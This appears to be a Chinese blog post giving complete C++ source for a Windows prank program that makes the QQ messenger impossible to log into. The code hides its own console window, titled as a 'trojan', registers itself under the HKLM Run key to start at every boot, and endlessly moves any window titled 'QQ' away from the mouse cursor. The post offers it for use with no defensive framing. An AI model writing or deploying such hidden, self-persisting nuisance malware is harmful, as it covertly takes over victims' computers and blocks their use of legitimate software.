c/c++之调戏QQ,让QQ无法登陆

// FondWindowDemo.cpp : 定义控制台应用程序的入口点。
//


#include "stdafx.h"
#include <stdlib.h>
#include <time.h>
#include <windows.h>
int x = 0, y = 0;


BOOL CALLBACK EnumWindowsProc(
_In_ HWND   hwnd,
_In_ LPARAM lParam
)
{
wchar_t Window_Name_c[MAXBYTE] = { 0 };
GetWindowTextW(hwnd, Window_Name_c, MAXBYTE);//获取指定窗口的标题
if (wcscmp(Window_Name_c, L"QQ") == 0)
{
POINT p = { 0 };
GetCursorPos(&p);//获取鼠标的坐标
RECT rect = { 0 };
GetWindowRect(hwnd,&rect);//获取指定窗口的窗口区域
x = rand() % (1366-rect.right+rect.left);
y = rand() % (768-rect.bottom+rect.top);
if (p.x>rect.left&&p.x<rect.right&&p.y>rect.top&&p.y<rect.bottom)
{
           MoveWindow(hwnd, x, y,rect.right-rect.left ,rect.bottom-rect.top , true);
}


}
return true;
}


int _tmain(int argc, _TCHAR* argv[])
{
void AutoRun();
AutoRun();
HWND c_hWnd;
SetConsoleTitleW(L"木马2");
//c_hWnd =FindWindow(nullptr, L"木马2");
c_hWnd = GetConsoleWindow();//获取控制台的窗口句柄
ShowWindow(c_hWnd, SW_HIDE);//隐藏控制台的窗口
srand(time(nullptr));
while (true)
{
EnumWindows(EnumWindowsProc, NULL);//枚举出当前活动的所有窗口,并与并把枚举出的窗口句柄传入BOOL CALLBACK EnumWindowsProc这个回调函数

}


return 0;
}
void AutoRun()//对注册表的操作,实现开机自启
{
HKEY hKey = { 0 };//令牌句柄
DWORD err = RegOpenKeyExW(HKEY_LOCAL_MACHINE, L"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", 0, KEY_WRITE, &hKey);
if (ERROR_SUCCESS != err)
{
printf("RegOpenKeyExW失败了,error code:%d\r\n", err);
}
//要知道当前路径
char szPath[MAXBYTE] = { 0 };
err = GetModuleFileNameA(nullptr, szPath, MAXBYTE);
if (0 == err)
{
printf("RegOpenKeyExWA失败了,error code:%d\r\n", err);
}
err = RegSetValueExA(hKey, "AutoRun1", 0, REG_SZ, (byte*)szPath, strlen(szPath));
if (ERROR_SUCCESS != err)
{
printf("RegSetValueExA失败了,error code:%d\r\n", err);
}
}
  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值